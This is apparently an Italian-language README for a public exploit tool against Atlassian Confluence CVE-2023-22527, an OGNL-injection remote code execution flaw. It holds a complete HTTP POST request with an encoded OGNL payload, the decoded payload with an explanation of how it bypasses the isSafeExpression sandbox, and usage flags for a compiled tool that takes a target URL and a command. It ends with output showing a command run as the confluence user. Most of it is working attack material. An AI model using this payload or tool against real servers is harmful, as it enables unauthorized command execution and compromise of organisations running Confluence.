
Exploit per Atlassian Confluence RCE (CVE-2023-22527) che esegue comandi arbitrari su server vulnerabili tramite iniezione OGNL.
Atlassian Confluence - Esecuzione Remota di Codice (CVE-2023-22527)
POST /template/aui/text-inline.vm HTTP/1.1
Host: localhost:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Content-Type: application/x-www-form-urlencoded
label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&[email protected]@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))
Metodo di bypass menzionato in vulhub
Dopo la versione 7.18.0 di Confluence, gli sviluppatori ufficiali hanno introdotto la funzione isSafeExpression per limitare l'esecuzione di espressioni OGNL dannose. Il ricercatore di sicurezza Alvaro Muñoz ha condiviso un metodo di bypass che sfrutta #request['.KEY_velocity.struts2.context'].internalGet('ognl').findValue(String, Object) nei template Velocity per ottenere un oggetto OGNL senza sandbox ed eseguire istruzioni arbitrarie. Il Payload completo e decodificato è il seguente:
'+(#request['.KEY_velocity.struts2.context'].internalGet('ognl').findValue(@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"})),{}))+'
██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ███████╗██████╗ ███████╗
██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗╚════██╗ ╚════██╗╚════██╗██╔════╝╚════██╗╚════██║
██║ ██║ ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝ █████╔╝█████╗ █████╔╝ █████╔╝███████╗ █████╔╝ ██╔╝
██║ ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝ ╚═══██╗╚════╝██╔═══╝ ██╔═══╝ ╚════██║██╔═══╝ ██╔╝
╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗██████╔╝ ███████╗███████╗███████║███████╗ ██║
╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚══════╝╚═════╝ ╚══════╝╚══════╝╚══════╝╚══════╝ ╚═╝
@Auth: C1ph3rX13
@Blog: https://c1ph3rx13.github.io
@Note: Atlassian Confluence - Remote Code Execution (CVE-2023-22527)
@Warn: 代码仅供学习使用,请勿用于其他用途
Utilizzo di CVE-2023-22527.exe:
-c string
Comando
-p string
URL Proxy
-t string
URL Target
CVE-2023-22527.exe -t http://127.0.0.1:8090 -c "id"
██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ███████╗██████╗ ███████╗
██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗╚════██╗ ╚════██╗╚════██╗██╔════╝╚════██╗╚════██║
██║ ██║ ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝ █████╔╝█████╗ █████╔╝ █████╔╝███████╗ █████╔╝ ██╔╝
██║ ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝ ╚═══██╗╚════╝██╔═══╝ ██╔═══╝ ╚════██║██╔═══╝ ██╔╝
╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗██████╔╝ ███████╗███████╗███████║███████╗ ██║
╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚══════╝╚═════╝ ╚══════╝╚══════╝╚══════╝╚══════╝ ╚═╝
@Auth: C1ph3rX13
@Blog: https://c1ph3rx13.github.io
@Note: Atlassian Confluence - Remote Code Execution (CVE-2023-22527)
@Warn: 代码仅供学习使用,请勿用于其他用途
2024-01-23 16:53:16 INFO [+] RCE Result: uid=2002(confluence) gid=2002(confluence) groups=2002(confluence),0(root)